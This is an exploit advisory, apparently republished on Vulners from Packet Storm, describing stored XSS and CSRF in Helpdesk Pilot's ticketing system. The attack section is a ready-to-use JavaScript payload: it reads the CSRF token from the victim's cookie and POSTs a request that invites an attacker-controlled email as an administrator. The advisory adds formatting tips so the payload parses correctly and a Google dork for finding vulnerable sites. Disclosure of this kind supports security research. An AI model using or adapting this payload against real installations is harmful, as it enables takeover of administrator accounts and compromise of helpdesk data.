Lucene search
K

Helpdesk Pilot Cross Site Request Forgery / Cross Site Scripting

🗓️ 02 Dec 2013 00:00:00Reported by Ciaran McNallyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Cross Site Request Forgery/Scripting in Helpdesk Pilot, all versions, can add administrator via malicious UR

Code
`###########################################################  
  
Ciaran McNally  
  
Application: Helpdesk Pilot  
http://www.helpdeskpilot.com/  
Versions: All versions.  
Platforms: Windows, Mac, Linux  
Bug: XSS/CSRF Add Administrator  
Exploitation: WEB  
Date: 30 November 2013.  
Author: Ciaran McNally  
Web: http://makthepla.net/blog/=/helpdesk-pilot-add-admin  
My Twitter: https://twitter.com/ciaranmak  
Google Dork: intext:"powered by Helpdesk Pilot"  
  
#######################################################################  
  
1) Bug.  
2) The exploit.  
3) Fix.  
  
###########################################################  
Help desk software or your business...  
###########################################################  
  
======  
1) Bug  
======  
If attacker can submit a ticket, he/she simply needs to include a malicious  
Url within the the ticket.  
  
Javascript injection then occurs via the Url that is incorrectly sanitized.  
  
http://example.com/<script>prompt(1);</script>  
  
  
  
###########################################################  
  
===============  
2) The "exploit"  
===============  
  
For a simple Proof of concept use the example above, you will see the  
expected popup within the ticketing system once it's viewed.  
  
To add an administrator use a malicious Url similar to the following...  
(Make sure there are no spaces otherwise it won't be parsed correctly)  
  
http://makthepla.net/  
<script>$(document).ready(function(){$.ajax({type:"POST",url:"http://  
[HOST]/staff/manage/staff/",data:"csrfmiddlewaretoken="+document.cookie.split('=')[1]+"&formtype=invite_staff&staff&first_name&last_name&email=[ATTACKER_MAIL]&bulk_emails&role=1&categories=1",success:function(data){alert("Admin-Added-POC");},error:function(data){alert("POC_FAILED");}})});</script>  
  
where [HOST] is the location of the software  
and [ATTACKER_MAIL] is the attacker's email.  
  
Attacker will recieve a mail if it successfully executes to complete  
admin addition.  
  
The example above contains alerts simply for POC, this is the one used  
in the video on my blog post.  
  
  
  
#######################################################################  
  
======  
3) Fix  
======  
  
Was Reported to the vendors twice,  
  
Fix in progress...  
  
#######################################################################  
  
--  
maK :)  
  
--   
-------------------------------------------  
*-maK-*  
Redbrick Administrator 2013/2014  
Redbrick Webmaster 2012/2013  
Redbrick Events Officer 2011/2012  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation